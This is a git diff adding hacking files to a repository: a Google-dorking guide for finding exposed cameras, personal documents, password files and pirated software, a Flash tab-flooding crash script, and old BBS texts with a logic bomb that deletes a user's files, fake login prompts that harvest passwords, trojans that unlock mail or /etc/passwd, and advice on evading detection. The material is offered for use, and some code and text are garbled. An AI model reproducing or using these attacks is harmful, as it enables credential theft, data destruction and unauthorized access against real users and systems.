+intitle:โ€Live View / โ€“ AXISโ€ + +Click on any of the search results to access a different set of live cameras. Thus you have hacked Security Cameras using Google. +2. Hacking Personal and Confidential Documents + +Using Google it is possible to gain access to an email repository containing CV of hundreds of people which were created when applying for their jobs. The documents containing their Address, Phone, DOB, Education, Work experience etc. can be found just in seconds. + +intitle:โ€curriculum vitaeโ€ โ€œphone * * *โ€ โ€œaddress *โ€ โ€œe-mailโ€ + +You can gain access to a list of .xls (excel documents) which contain contact details including email addresses of large group of people. To do so type the following search query and hit enter. + +filetype:xls inurl:โ€email.xlsโ€ + +Also itโ€™s possible to gain access to documents potentially containing information on bank accounts, financial summaries and credit card numbers using the following search query + +intitle:index.of finances.xls +3. Hacking Google to gain access to Free Stuffs + +Ever wondered how to hack Google for free music or ebooks. Well here is a way to do that. To download free music just enter the following query on google search box and hit enter. + +โ€œ?intitle:index.of?mp3 eminemโ€œ + +Now youโ€™ll gain access to the whole index of eminem album where in you can download the songs of your choice. Instead of eminem you can subtitute the name of your favorite album. To search for the ebooks all you have to do is replace โ€œeminemโ€ with your favorite book name. Also replace โ€œmp3โ€ณ with โ€œpdfโ€ or โ€œzipโ€ or โ€œrarโ€. +4. Using Google, and some finely crafted searches we can find a lot of interesting information. + +For Example we can find: +Credit Card Numbers +Passwords +Software / MP3โ€ฒs +โ€ฆโ€ฆ (and on and on and on) Presented below is just a sample of interesting searches that we can send to google to obtain info that some people might not want us having.. After you get a taste using some of these, try your own crafted searches to find info that you would be interested in. + +Try a few of these searches: +intitle:โ€Index ofโ€ passwords modified +allinurl:authuserfile.txt +โ€œaccess denied for userโ€ โ€œusing passwordโ€ +โ€œA syntax error has occurredโ€ filetype:ihtml +allinurl: admin mdb +โ€œORA-00921: unexpected end of SQL commandโ€ +inurl:passlist.txt +โ€œIndex of /backupโ€ +โ€œChatologica MetaSearchโ€ โ€œstack tracking:โ€ + +Amex Numbers: 300000000000000..399999999999999 +MC Numbers: 5178000000000000..5178999999999999 +visa 4356000000000000..4356999999999999 + +โ€œparent directory โ€ /appz/ -xxx -html -htm -php -shtml -opendivx -md5 -md5sums +โ€œparent directory โ€ DVDRip -xxx -html -htm -php -shtml -opendivx -md5 -md5sums +โ€œparent directory โ€œXvid -xxx -html -htm -php -shtml -opendivx -md5 -md5sums +โ€œparent directory โ€ Gamez -xxx -html -htm -php -shtml -opendivx -md5 -md5sums +โ€œparent directory โ€ MP3 -xxx -html -htm -php -shtml -opendivx -md5 -md5sums +โ€œparent directory โ€ Name of Singer or album -xxx -html -htm -php -shtml -opendivx -md5 -md5sums +Notice that I am only changing the word after the parent directory, change it to what you want and you will get a lot of stuff. +METHOD 2 + +put this string in google search: +?intitle:index.of? mp3 +You only need add the name of the song/artist/singer. +Example: ?intitle:index.of? mp3 jackson +METHOD 3 + +put this string in google search: +inurl:microsoft filetype:iso +You can change the string to watever you want, ex. microsoft to adobe, iso to zip etcโ€ฆ + +โ€œ# -FrontPage-โ€ inurl:service.pwd +Frontpage passwords.. very nice clean search results listing !! + + +โ€œAutoCreate=TRUE password=โ€ +This searches the password for โ€œWebsite Access Analyzerโ€, a Japanese software that creates webstatistics. For those who can read Japanese, check out the authorโ€™s site at: coara.or.jp/~passy/ [or.jp] + +โ€œhttp://:@wwwโ€ domainname +This is a query to get inline passwords from search engines (not just Google), you must type in the query followed with the the domain name without the .com or .net + +โ€œhttp://:@wwwโ€ bangbus or โ€œhttp://:*@wwwโ€bangbus + +Another way is by just typing +โ€œhttp://bob:bob@wwwโ€ + +โ€œsets mode: +kโ€ +This search reveals channel keys (passwords) on IRC as revealed from IRC chat logs. + +allinurl: admin mdb +Not all of these pages are administratorโ€™s access databases containing usernames, passwords and other sensitive information, but many are! + +allinurl:authuserfile.txt +DCForumโ€™s password file. This file gives a list of (crackable) passwords, usernames and email addresses for DCForum and for DCShop (a shopping cart program(!!!). Some lists are bigger than others, all are fun, and all belong to googledorks. =) + +intitle:โ€Index ofโ€ config.php +This search brings up sites with โ€œconfig.phpโ€ files. To skip the technical discussion, this configuration file contains both a username and a password for an SQL database. Most sites with forums run a PHP message base. This file gives you the keys to that forum, including FULL ADMIN access to the database. + +eggdrop filetype:user user These are eggdrop config files. Avoiding a full-blown descussion about eggdrops and IRC bots, suffice it to say that this file contains usernames and passwords for IRC users. + +intitle:index.of.etc This search gets you access to the etc directory, where many many many types of password files can be found. This link is not as reliable, but crawling etc directories can be really fun! + +filetype:bak inurl:โ€htaccess|passwd|shadow|htusersโ€ This will search for backup files (*.bak) created by some editors or even by the administrator himself (before activating a new version). Every attacker knows that changing the extenstion of a file on a webserver can have ugly consequences. + +Letโ€™s pretend you need a serial number for windows xp pro. + +In the google search bar type in just like this โ€“ โ€œWindows XP Professionalโ€ 94FBR + +the key is the 94FBR code.. it was included with many MS Office registration codes so this will help you dramatically reduce the amount of โ€˜fakeโ€™ porn sites that trick you. + +or if you want to find the serial for winzip 8.1 โ€“ โ€œWinzip 8.1โ€ณ 94FBR + +Credits and More Info http://johnny.ihackstuff.com +I have shown you this info to let you know that there is a real risk putting your info online. If you do want to buy stuff online make sure the site you are using is secure normally if a site is secure you will see a pop up saying you are now entering a secure part of the site or a symbal of a padlock at the bottom of your browser or just use pay pal, pay pal is very safe to use. But most of the time just use common sense if a site looks cheap it normally hasnโ€™t got the protection to keep your info safe. I am not saying donโ€™t buy stuff online because that is one of the best thingโ€™s about the internet i am just saying be aware of websites that want your bank details and there is no symbal of a padlock at the bottom of your browser +5.Crash a Computer using Flash and Google. + +Open up a new flash document. Open up the Actions panel for the stage of the first frame. If itโ€™s in Actionscript 2, write the following: + +onEnterFrame = function () { +getURL(โ€œhttp://www.google.comโ€, โ€œ_blankโ€); +} + +Or if itโ€™s actionscript 3 write the following: + +function openGoogle(e:Event):void { +navigateToURL(โ€œhttp://www.google.comโ€, โ€œ_blankโ€); +} +stage.addEventListener(Event.ENTER_FRAME, openGoogle); + +Press Control-Enter when youโ€™re ready to crash your computer. What this does is repeatedly open up new tabs of Google. But it opens so many Google tabs every second that after maybe 20-30 seconds your computer will barely be able to respond to you mouse clicks or even mouse movements. Usually, any attempt to stop it will result in processing overload and cause the computer to freeze. The only real way to stop this is to force-quit BOTH flash.exe and iexplorer.exe. Some teachers may know enough to do this, but might accidentally close explorer.exe + +hope you enjoyed this post. Pass your comments. Cheers! diff --git a/src/Security/Technical Papers and Notes/Docs/Hacker Jargon.odt b/src/Security/Technical Papers and Notes/Docs/Hacker Jargon.odt new file mode 100755 index 0000000..aa0267e Binary files /dev/null and b/src/Security/Technical Papers and Notes/Docs/Hacker Jargon.odt differ diff --git a/src/Security/Technical Papers and Notes/Docs/Legacy Hacking.txt b/src/Security/Technical Papers and Notes/Docs/Legacy Hacking.txt new file mode 100755 index 0000000..e42fdc2 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Docs/Legacy Hacking.txt @@ -0,0 +1,836 @@ +Filename = BBSFILES.DOC + +THE FOLLOWING FILES WERE DOWNLOADED BY ME IN ONE EVENING, USING AN IBM-PC AND +MODEM. THEY WERE DOWNLOADED TO SHOW THE NATURE OF THE INFORMATION READILY +AVAILABLE TO THE THOUSANDS WHO ACCESS HACKER BOARDS - PROVIDED FOR +EDUCATIONAL PURPOSES ONLY, AND NOT TO RECOMMEND OR IMPLY ANY ILLEGAL USE +WHATSOEVER. THESE FILES JUST RELATE TO COMPUTER PHREAKING. THERE ARE MANY +MORE ON PHONE BOXING, WEAPONRY AND EXPLOSIVES, LOCKPICKING - YOU NAME IT! +(we are very interested in increasing this file for future updates of +COMPUTER PHREAKING and, separately, adding similar files for our PHONE COLOR +BOXES, and other technical and survival topics we have interest in (see our +catalog). If you have some good public domain info. for us, please send it +to us in an ASCII file(s), on 5.25" or 3.5" disk (use First Class Mail only), +to: CONSUMERTRONICS, 2011 Crescent Dr., P.O. Drawer 537, Alamogordo, NM +88310. If you require compensation for your help, let us know in advance +what you have and woa| yot w/uud lika for io)> + + +D/L1------------------------------ + +Virus, Trojan Horse, and Decoy Programs: + +DEC MAINFRAMES: +=============== + The following were devolped and tested on DEC Basic Plus, running under +the RSTS/E Operating system. All have been tested, and were sucessfully used +in the field. However, sucessful use depends on the savvy of the sysop, +legitimate users, and illegitimate ones. They work best on uninformed +(stupid) users and sysops, and when the hacker using them makes them +attractive, as when using trojan horses, or realistic, when using decoys. + +TROJAN HORSE: +============= + What follows is a rough listing of the business end of a typical trojan +horse program. While this one just lowers the security of the programs on +the affected account, it could be easily modified to create another account, +or execute any other command. The key is the 'sy$=sys(chr$(14)+"....")' +statement. In BASIC PLUS Programming language, this command lets you execute +a DCL command from within a BASIC Program. Therefore, any DCL command, COPY, +DELETE, PIP, or even BYE could be inserted in the "...." space. I prefer +using PIP *.* <40> /RE, as what that will do is lower the protection codes +low enough for me to see the files on the account. This works with both +sysops and non-privlidged users, so I can benefit whenever someone runs it, +as opposed to something the sysop has to run in order for it to do whatever. +As a plus, if a sysop runs it, certain hidden files on the [1,*] account he/ +she's using will become visible, which will, provided you know what you're +doing, enable you to get sysop status. Of course, you could also use PIP +[*,*] *.* <40> /RE, which, if a sysop runs it, will lower the protection of +every file on the system, one would have to add an error checking routine in +case a non-sysop ran it. + +10 extend +20 sy$=sys(chr$(14)+"PIP *.* <40> /RE") 30 rem the following would be the +interesting little game you've wrote which 40 rem makes the program look +atractive, and compels the hapless user to 50 rem run it. 60 end + +LOGIC BOMB: +=========== + The following is an example of a simple logic bomb, which has proven to +Work very well. What it does is create a file on the effected account which +will delete all files on the account upon the next login, it also dumps the +user off the system for good measure, you could remove the logoff procedure, +and not affect program operating, but they then stand a chance of noticing +the little file you've added. + + 10 extend + 20 open "login.com" as file #1 + 30 print #1,"pip *.* <60> /re" + 40 print #1,"delete *.*" + 50 close #1 + 60 sy$=sys(chr$(14)+"bye/f") + 70 end + + Now, line 30 is optional in this program. I have included it in case the +user has protected his files from accidental deletion. There is one instance +in which this program won't work properly. This is when the defualt language +upon logon isn't DCL, on occasion, some systems have BASIC as the default. In +this case, just add the following line. + + 25 print #1,"sw dcl" + +And you'll switch to DCL before continuing to the rest of the program. + +THE DECOY: +========== + This decoy is to be used on local terminals, ones that are connected to +the system via RS-232, such as in schools. It is also the riskiest of these +programs to use. What it basicly does is wait until input, and then act as a +login program, saving the users id# and password. Upon getting it, it informs +the user of an "invalid entry" and then returns control to the system. There +are a number of things to keep in mind when using this program. The first is +to change the program so it looks like your system. The second is to +remember that it runs under the account it's on, therefore you take a risk of +someone hitting [Break] while it's running, and getting into your account. +Finally, due to the BASIC language, you'll only get the project number of the +account (what's before the comma). However, since you'll have the password, +you'll get it in less than 255 tries. + + 10 extend + 20 open "kb:" as file #1% + 30 input #1%, z$ + 40 print "RSTS v8.0-06 MICOM I Job <10> KB31: ";date$(0);" ";time$(0) + 50 print + 60 print "Username: "; + 70 input #1%, u$ + 80 print "Password: "; + 90 sy$=sys(chr$(3)) + 100 input #1%, p$ + 110 sy$=sys(chr$(2)) + 120 print: print "Invalid Entry - Try Again" + 130 print: print + 140 print "Username: "; + 150 input #1%, r$ + 160 sy$=sys(chr$(3)) + 170 print "Password: "; + 180 input #1%, s$ + 190 sy$=sys(chr$(2)) + 200 open "acct.txt" as file #2 + 210 print #2,u$ + 220 print #2,p$ + 230 print #2,r$ + 240 print #2,s$ + 250 close #2 + 260 print: print "Access Denied" + 270 sy$=sys(chr$(14)+"bye/f") + 280 end + + The parts which have to be changed are line 40, and the number of tries +it allows before logging you off. The system I used for devolpment allowed +only two tries, and most I've seen only allow two, but, it isn't always that +way. Finally, remember to save ALL input, for reasons which should be +obvious. + +FREE MEMORY: +============ + While this program isn't classified as a trojan horse, decoy, logic +bomb, or virus. It's quite interesting, and I've decided to include it. This +program enables you to look at unallocated space on the system's disk. It's +very useful when the sysop is creating and deleting accounts, and in schools +in order to yank deleted files, which happens when students are modifying +programs. + + 10 open "free.mem" as file #1% + 20 put #1%, record nnnnn% + 30 close #1% + +GENERAL NOTES ON PC VIRUSES +=========================== + Writing "funny programs" on PCs is a big pain-in-the-a__. There are two +major reasons why. The first is that most users know their PCs(Personal +Computers in general, not just IBM) like the back of their hand, and that any +wierdness would be immediately noticed, unlike a big multiuser system, where +there are amoungst other users, and basicly isolated in their own little +section of RAM. Secondly, they have to be extremly small, as to be hidden +effectively. While one can write the perfict virus with 64k, try writting +one in a few bytes of space. Personally, I feel the best way to screw over a +computer user is to put a magnet to his disks, but if you want to do it the +hard way, it is possible. + +APPLE II+, //e. //c: +==================== + The Apple series of computers is one of the simplest machines to +"infect", so to speak. Perhaps this is because it creator was a prima donna +hacker, but who knows. DOS 3.3 has several unsed spots in it, which are +adequete to hide a virus in. They are (in hex) $B78D-$B792 and $BCDF-$BCFF. +You can also, on pre-1983 versions of DOS 3.3, use BA69-BA93. There are also +some spots which aren't unused, but are used for such DOS commands such as +VERIFY, LOCK, UNLOCK, CHAIN, and MAXFILES. The classic virus program on the +Apple a machine language program which counts how many times someone does a +certain function, such as CATALOG, LOAD, or SAVE, and upon reaching a certain +number, initializes the disk. It is based in DOS memory, which means that +once the affected disk is booted, it stays in the machine until power down, +and can affect any disk which is used with said machine. It will also be +transfered to any disk which is initalized by the machine. The actual program +is very simple, provided you know 6502 machine language. What you do is make +a patch to the Command handler entry point for the Catalog command. The +location for the command handler is from $9D1E to $9D55. Look around in +there until you find a string which says "6EA5" this is the entry point for +the Catalog Handler, which is $A56E. Remember that. Change it to the +beginning of your "modification". I recommend $BCDF, since it is the bigest +stretch of memory which is truly safe. You then write a program which will +do an LDX (Load X Register) from a memory location where you're counter is, +say $B78D. You compare that memory to the number of times you want the +command to go through before deletion, say 20 hex. (CPA $20) if the number of +times is greater than the the number in the Compare statement ($20) then jump +to the init subroutine (BPL $4F5A)(The INIT start location is $5A4F), if not, +then Increment the X Register by 1 (INX $01), store it (STX $8DB7), you then +continue with your program by Cataloging the disk (JMP $6EA5). End of +program. I have found this to be one of the best virus programs, as these +things go. + + +D/L2--------------------------------------- + +COMMENTS ON "SMART" HACKING: +--------------------------- + Never trust a change in a system. The 414s, the (expletive deleted), +were caught for this reason: When one of them connected to the system, there +was nothing good there. The next time, there was a Trek game stuck right in +their way! They proceeded to play said game for two, say two and half hours, +while TELENET was tracing them! Nice job, don't you think? If anything +looks suspicious, drop the line immediately!! As in Yesterday!! The point +we're trying to get across is: If you use a little common sense, you won't +get busted. Let the little kids who aren't smart enough to recognize a trap +get busted, it will take the heat off the real hackers. Now, let's say you +get on a computer system... it looks great, checks out, everything seems +fine. Ok, now is when it gets more dangerous. You have to know the computer +system (see future issues of this article for info on specific systems) to +know what not to do. Basically, keep away from any command which looks like +it might delete something, copy a new file into the acoount, or whatever! +Always leave the account in the same status you logged in with. Change +*nothing*... If it isn't any account with priv's (privileged access) then +don't try any commands that require them! All, yes, all systems are going to +be keeping log files of what users are doing, and that will show up. It is +just like dropping a trouble-card in an ESS system, after sending that nice +operator a pretty tone. Spend no excessive amounts of time on the account in +one stretch. Keep your calling to the very late night if possible, or during +business hours (believe it or not!). It so happens that more users are on +during business hours, and it is very difficult to read a log file with 60 +users doing many commands every minute. Try to avoid systems where everyone +knows each other. Don't try to bluff. And above all: Never act like you +own the system, or are the best there is. They always grab the people who's +heads swell... + +There is some very interesting front end equipment arownd nowadays. But +first let's define terms... By front end, we mean any device that you must +pass thru to gat at the real computer. There are devices that are made to +defeat hacker programs and just plain old multiplexers. To defeat hacker +programs, there are now devices that pick up the phone and just sit there... +This means that your device gets no carrier, thus you think there isn't a +computer on the other end. The only way around it is to detect when it was +picked up. If it picks up after the same number ring, then you know it is a +hacker-defeater. These devices take a multi-digit code to let you into the +system. Some are, in fact, quite sophisticated to the point where it will +also limit the user name's down, so only one name or set of names can be +valid logins after they input the code... Other devices input a number code, +and then they dial back a pre-programmed number for that code. These systems +are best to leave alone, because they know someone is playing with their +phone. You may think "But I'll just reprogram the dial-back." Think again, +how stupid that is... Then they have your number, or a test loop if you were +just a little smarter. If it's your number, they have your (expletive +deleted) (if male), if it's a loop, then you are screwed again, since those +loops are "monitored." + +As for multiplexers... what a plexer is supposed to do is this: The system +can accept multiple users. We have to time share, so we'll let the front-end +processor do it... Well, this is what a multiplexer does. Usually they will +ask for something like "enter class" or "line:". Usually, it is programmed +for a double digit number, or a 4 or 5 letter word. There are usually a few +sets of numbers it accepts, but those numbers also set your 300/1200 baud +data type. These multiplexers are inconveneint at best, so not to worry. + +A little about the history of hacking: Hacking, by our definition, means a +great knowledge of some special area. Doctors and lawyers are hackers of a +sort, by this definition. But most often, it is being used in the computer +context, and thus we have a dedinition of "anyone who has a great amount of +computer or telecommunications knowledge." You are not a hacker because you +have a list of codes... Hacking, by our defintion, has been around only +about 15 years. It started, where else but, MIT and colleges where they had +Computer Science or Electrical Engineering departments. Hackers have created +some of the best computer languages, the most awesome operating systems, and +even gone on to make millions. Hacking used to have a good name, when we +could honestly say "We know what we are doing." Now it means (in the public +eye): The 414s, Ron Austin, the NASA hackers, the ARPANET hackers... all the +people who have been caught. thus we come past the moralistic crap, and to +our purpose: Educate the hacker community........... + + +D/L3---------------------------- + +UNIX TROJAN HORSE - By Shooting Shark +------------------------------------- + This program simulates the login for a UNIX machine. However, the login +and password are written to a file in your directory. The user geat a "login +incorrect" message and thinks they have mis-typed their password. They are +given a second chance, but the new 'login:' prompt is the real one - they +then get access to their account and are none the wiser. + +You must be running a fairly robust version of UNIX. 4.2 or 4.3bsd, or AT&T +System V are fine. I wrote this one on a Pyramid 90x32 bit system running +the above flavors of UNIX. It works fine for me and should work on your +system fine with no modification. + +To run the program, enter the source given below in a file called 'horse.c' +and configure it as necessary (see below). Then, from the shell promp, type: + + cc horse.c -lcurses -ltermcap (to compile the program) + +then type: + + mv a.out horse (to rename the object code.) + +Voila, you now have a program which can be tested by typing 'horse'. +However, in order for the program to work properly, it must be called from a +shellscript. Create a file calle script and enter these two lines: + + horse (invokes your program) + login + +Now, type: + + source script (run the shell script) + +to execute the above file. The horse program will be run. It will simulate +the login process. After completing its task it will invoke the REAL login +process. + +If you wish, you can tack the above two lines to your ".logout" file (the +shellscript which is executed when you log out) so the program will be +automatically executed each time you log out normally. + +----Source Begins Here---- + + #include + #include + int stop(); + main() + [ + char name[10], password[10]; + int i; + FILE *fp, *fpopen(); + signal(SIGINT,stop); + initscr(); + printf("\n\nTiburon Systems + 4.2/Sys V UNIX (tiburon)\n\n\n\nlogin:"); + +/*The above line is very important - it prints the header that your machine +prints when it greets the world. Change this line so it says what your +machine would say. Each \n is a carriage return*/ + + scanf("%[^\n]",name) + getchar(); + noecho(); + printf("Password:"); + scanf("%[^\n]',password), + printf("\n"); + getchar(); + echo(); + sleep(5); + +/*sleep(x) is the delay between prompting for a password and printing "Login +incorrect." Change it so it looks like your login routine's speed*/ + + if ( ( fp = fopen("stuff","a") ) ! = -1 ) [ + fprintf(fp,"login %s has password %s\n",name,password); + fclose(fp); ] + + printf("Login incorrect\n"); + endwin(); ] + + stop() [ /*the ^C trap.*/ + exit(0); ] + +----Source Ends Here---- + +OK. After you have run the program successfully and people have fallen for +it, a file called "stuff" will have a table of all login name/password +combinations snagged. (This file can be incriminating so delete it whenever +necessary.) + +This program traps ^C's entered by suspicious users. However, it can't catch +a ^Z (STOP signal) so it is vulnerable to them. If somebody stops your +program, they will be in your account and your little game will be up. Also, +take care that you are using a terminal that times out after a few minutes +while waiting for somebody to come up to the terminal you're running it on. + + +D/L4-------------------------- + +THIS IS YET ANOTHER SHOOTING SHARK CONTRIBUTION TO UNIX INSECURITY + +Introduction +------------ + "UNIX Security" is an oxymoron. It's an easy system to brute-force hack +(most UNIX systems don't hang up after x number of login tries, and there are +a number of default logins, such as root, bin, sys and uucp). Once you're in +the system, you can easily bring it to its knees (see my previous Phrack +article, "UNIX Nasty Tricks") or, if you know a little C, you can make the +system work for you and totally eliminate the security barrier to creating +your own logins, reading anybody's files, etc. This file will outline such +ways by present C code that you can implement yourself. + +Requirements +------------ + You'll need a working account on a UNIX system. It should be a farily +robust version of UNIX (such as 4.2bsd or AT&T System V) running on a real +machine (a PDP/11, VAX, Pyramid, etc) for the best results. If you go to +school and have an account on the school system, that will do perfectly. + +Notes +----- + This file was inspired by an article in the April, '86 issue of BYTE +entitled, "Making UNIX Secure." In the article, the authors way "We provide +this information in a way that, we hope, is interesting and useful yet stop +short of being a 'cookbook for crackers.' We have often intentionally +omitted details." I am following the general outline of the article, giving +explicit examples of the methods they touched on. + +Project One: Fishing for Passwords +----------------------------------- + You can implement this with only a minimal knowledge of UNIX and C. +However, you need access to a terminal that many people use - the computer +lab at your school, for example. When you log onto a typical UNIX system, +you see something like this: + + Tiburon Systems 4.2bsd / System V + (shark) + + login: shark + Password (the password is not printed) + +The program I'm giving you here simulates a logon sequence. You run the +program from a terminal and then leave. Some unknowing fool will walk up and +enter their login and password. It is written to a file of yours, then +"login incorrect" is printed, then the fool is asked to log in again. The +second time it's the real login program. This time the person succeeds and +they are none the wiser. + +On the system, put the following code into a file called 'horse.c'. You will +need to modify the first 8 lines to fit your system's appearance. + +----Code Begins Here---- + + #define SYSTEM "\n\nTiburon Systems 4.2bsd UNIX (shark)\n\n" + #define LOGIN "login: " + +/*The above is the login prompt. You shouldn't have to change it unless +you're running some strange version of UNIX*/ + + #define PASSWORD "password:" + +/*The above is the password prompt. You shouldn't have to change it, +either*/ + + #define WAIT 2 + +/*The numerical value assigned to WAIT is the delay you get after "password:" +Change it (0 = almost no delay. 5 = long delay) so it looks like your +system's delay. Realism is the key here - we don't want our target to become +suspicious.*/ + + #define INCORRECT "Login incorrect.\n" + +/*Change the above so it is what your system says when an incorrect login is +given. You shouldn't have to change it.*/ + + #define FILENAME "stuff" + +/*FILENAME is the name of the file that the hacked passwords will be put into +automatically. 'stuff' is a perfectly good name. Don't change the rest of +the program unless there is a need to and you know C*/ + + #include + #include + int stop(); + main() [ + char name[10], password[10]; + int i; + FILE *fp, *fpopen(); + signal(SIGINT,stop); + initscr(); + printf(SYSTEM); + printf(LOGIN); + scanf("%[^\n]",name) + getchar(); + echo(); + sleep(WAIT); + printf("\n"); + getchar(); + echo(); + if ( ( fp = fopen(FILENAME,"a") ) ! = NULL) [ + #fprintf(fp,"login %s has password %s\n",name,password); + #fclose(fp); + #] + + printf(INCORRECT); + endwin(); ] + + stop() [ + endwin(); + exit(0); ] + +----Source Ends Here---- + +OK, as I said, enter the above and configure it so it looks exactly like your +system's login sequence. To compile this program called 'horse.c' type the +following two lines: (don't type the %s, they are just a sample prompt) + + % cc horse.c -lcurses -ltermcap + % mv a.out horse + +You now have the working object code in a file called 'horse'. Run it, and +if it doesn't look like your systems logon sequence, re-edit horse.c and re- +compile it. When you're ready to put the program into use, create a new file +and call it 'trap' or something. 'trap' should have these two commands: + + horse (runs your program) + login (runs the real login program) + +to execute 'trap' type: + + % source trap (again, % is just the prompt) + +and walk away from your terminal. + +After you've run it successfully a few times, check your file called 'stuff' +(or whatever you called it). It will look like this: + + user john has password secret + user mary has password smegma + . + . + . +Copy down these passwords, then delete this file (it can be VERY +incriminating if the superuser sees it). + +Note - for best results your terminal should be set to time-out after a few +minutes of non-use - that way, your horse program doesn't run idle for 14 +hours if nobody uses the terminal you ran it on. + +The next projects can be run on a remote system, such as the VAX in Michigan +you've hacked into, or Dartmouth's UNIX system, or whatever. However, they +require a little knowledge of C language. They're not something for UNIX +novices. + +Project Two: Reading Anybocy's Files +------------------------------------ + When somebody runs a program, they're the owner of the process created +and that program can do anything they would do, such as delete a file in the +directory or making a file of theirs available for reading by anybody. + +When people save old mail they get on a UNIX system, it's put into a file +called "mbox" in their home directory. This file can be fun to read but is +usually impossible for anybody but the file's owner to read. Here is a short +program that will unlock (ie: chmod 777, or let anybody on the system read, +write or execute) the mbox file of the person who runs the program: + +----Code Begins Here---- + + #include + + struct passwd *getpwnam(name); + struct passwd *p; + char buf [255]; + + main() [ + p = getpwnam(getlogin()); + sprintf(buf,"%s/%s",p->pw_dir,"mbox"); + if ( access(buf,0) >-1 ) [ + sprintf(buf,"chmod 777%s/%s",p->pw_dir,"mbox"); + system(buf); ] + ] + +So the question is: How do I get my target to run this program that's in my +directory? + +If the system you're on has a public-messages type of thing (on 4.xbsd, type +'msgs') you can advertise your program there. Put the above code in another +program (ie: IMPLANT A TROJAN HORSE) - find a utility or game program in some +magazine like UNIX WORLD and modify it and do the above before it does it's +real thing. so, if you have a program called tic-tac-toe and you've modified +it to unlock the mbox file of the user before it plays tic-tac-toe with him, +advertise "I have a new tic-tac-toe program running that you should all try. +It's in my directory." or whatever. If you don't have means of telling +everybody on the system via a public message, then just send mail to the +specific people you want to trap. + +If you can't find a real program to modify, just take the above program and +add this line between the two ']' at the end of the program: + + printf("Error opening tic-tac-toe data file.") + +when the program runs, it will print the above error message. The user will +think "Heh, that dude doesn't know how to write a simple tic-tac-toe +program!" but the joke's on him - you can now read his mail. + +If there's a specific file in a user's directory that you'd like to read (say +it's called "secret") just throw together this general program: + + main() [ + if ( access("secret",0) > -1 ) + system("chmod 777 secret"); ] + +then 'talk' or 'write' to him and act like Joe Loser: "I wrote this program +called super_star_wars, will you try it out?" + +Use your imagination. Think of a command you'd like somebody to execute. +Then put it inside a system() call in a C program trick them into running +your program! + +Here's a very neat way of using the above technique: + +Project Three: Become the Superuser +------------------------------------ + Write a program that you can get people to run. Put this line in it +somewhere: + + if ( !strcmp(getlogin(),"root") ) + system("whatever you want"); + +This checks to see if the root login is running your program. If he is, you +can have him execute any shell command you'd like. Here are some +suggestions: + + "chmod 777 /etc/passwd" + +/etc/passwd is the system's password file. The root owns this file. +Normally, everyone can read it (the passwords are encrypted) but only the +root can write to it. Take a look at it and see how it's formatted if you +don't know already. This command makes it possible for you to write to the +file (ie: create unlimited accounts for yourself and your friends). + + "chmod 666 etc/group" + +By adding yourself to some high-access groups, you can open many doors. + + "chmod 666 /usr/lib/uucp/L.sys" + +Look for this file on your system if it is on the uucp net. It contains +dialups and passwords to other systems on the net, and normally only the uucp +administrator can read it. Find out who owns this file and get him to +unknowingly execute a program to unlock it for you. + +If you can get the root to execute this command, the system's passwd file +will be removed and the system will go down and will not come up for some +time to come. This is very destructive. + +If you are going to go about adding a trojan horse program to the system, +there are some rules you should follow. If the hidden purpose is something +major (such as unlocking the user's mbox or deleting all of his files or +something) this program shouldn't be a program that people will be running a +lot (such as a popular computer game) - once people discover that their files +are public access the source of the problem will be discovered quite easily. +Save this purpose for a 'test' program (such as a game you're in the process +of writing) that you ask individual people to run via mail or 'chatting' with +them. As I said, this 'test' program can bomb or print a phony error message +after completing its task, and you will just tell the person "well, I guess +it needs more work", wait until they log off, and then read whatever file of +theirs that you've unlocked. If your trojan horse program's sole purpose is +to catch a specific user running it - such as the root or other high-powered +user - you can put the code to do so in a program that will be run a lot by +various users of the system. Your modification will remain dormant until he +runs it. If you can't find the source to 'star trek' or whatever in C, just +learn C and convert something from pascal. It can't hurt to learn C as it's +a great language. We've just seen what it can do on a UNIX system. Once +you've caught the root (ie: you can now modify the /etc/passwd file) remove +the spurious code from your trojan horse program and you'll never be caught. + + +D/L5---------------------------- + + TELENET HACKING + +PREFACE: +-------- + TELENET is a huge network which lets you enter another computer via +TELENET's and costs a little extra to those who log-on to their own +connection and account (but of course we shall ignore that). + +HACKING: +-------- + First dial your local TELENET dial up - here is just a few + BUFFALO (716) 847-0600 + CHICAGO (312) 938-0500 + DETROIT (313) 964-5538 + 964-2089 + MANHATTAN (212) 736-0099 + 947-9600 + 785-2540 + ROCHESTER (716) 454-3430 + 454-1020 + WASHINGTON DC (202) 347-1400 + (703) 435-3333 + WHITE PLAINS (914) 328-9199 + +If your area is not listed contact your local phracker (phreaker/hacker) and +ask him if he has a local dial-up for your area. + +Once you log on and it will ask you for a terminal identifier. You +can type "D1" if you are using a PC or just hit . + +There are thousands of computer systems connected to TELENET, all you need to +do is type their connection number. + +The format is: C NPAXX or C NPAXXX where: + C is the abbreviation for "Connection" + NPA is the area code of the computer system you wish to find + XX or XXX is an 2, and sometimes 3 digits + +So, to search for a computer in 202, you would hack from 20201 up to 20299 +and 202001 to 202999. + +RESPONSE: +--------- + Once you dial the connection number of what you hope is a computer +system, you will most likely get one of the following responses (we will use +21211 as an example): + + "?" - You typed in something wrong (see format) + "212 11 ILLEGAL ADDRESS" - There is no computer system at 212 11 (try +another) + "212 11 CONNECTED" - You are now connected to the system at 212 11 and +should proceed) + "212 11 NOT RESPONDING" - There is a computer system at 212 11 but it is +not working now (try later) + "212 11 NOT REACHABLE FROM..." - There is a computer system at 212 11 but +it cannot be reached by this TELENET dial-up (try a different dialup) + "212 11 DOES NOT ACCEPT COLLECT CALLS" and + "212 11 DOES NOT ACCEPT COLLECT CALLS. PLEASE ESTABLISH A PAID CALLER +ACCOUNT" - In most cases the computer system will aceept collect calls from +whomever calls them, but a few require you to establish a specific log on +with TELENET first to place a paid call to a given connection. + +COMMANDS +-------- + Here is a short summary of TELENET commands. + + COMMAND EFFECT + ------- ------ + FULL Sets net to full duplex (no echo) + HALF Sets net to half duplex (echo) + D Disconnect from node if still attached + CONTINUE Continue on system if still attached + ID Unknown. Maybe an ANI for nodes with security checking + +Commands may be typed in upper or lower case. + +You must first get the TELENET's attention to use the commands if you are +still attached to a node. The sequence of commands are: + + (will be followed by a "@") + (if correct, the word "TELENET" should appear as well as + another "@") + +COMMENTS: +--------- + TELENET is a rather safe network to hack off of because the locations +usually cannot trace you and if they do, can probably not trace you thru +TELENET. Also, if a computer system is far away and you wish to log onto it, +there is no extra cost other than the cost to call TELENET. + + +D/L6-------------------------- + + TRASHING TECHNIQUES VOLUME i + +PREFACE: +-------- + This volume will deal with the basics of trashing. + + You might be saying, "What is trashing? And why should I trash?". +Trashing is, to put it 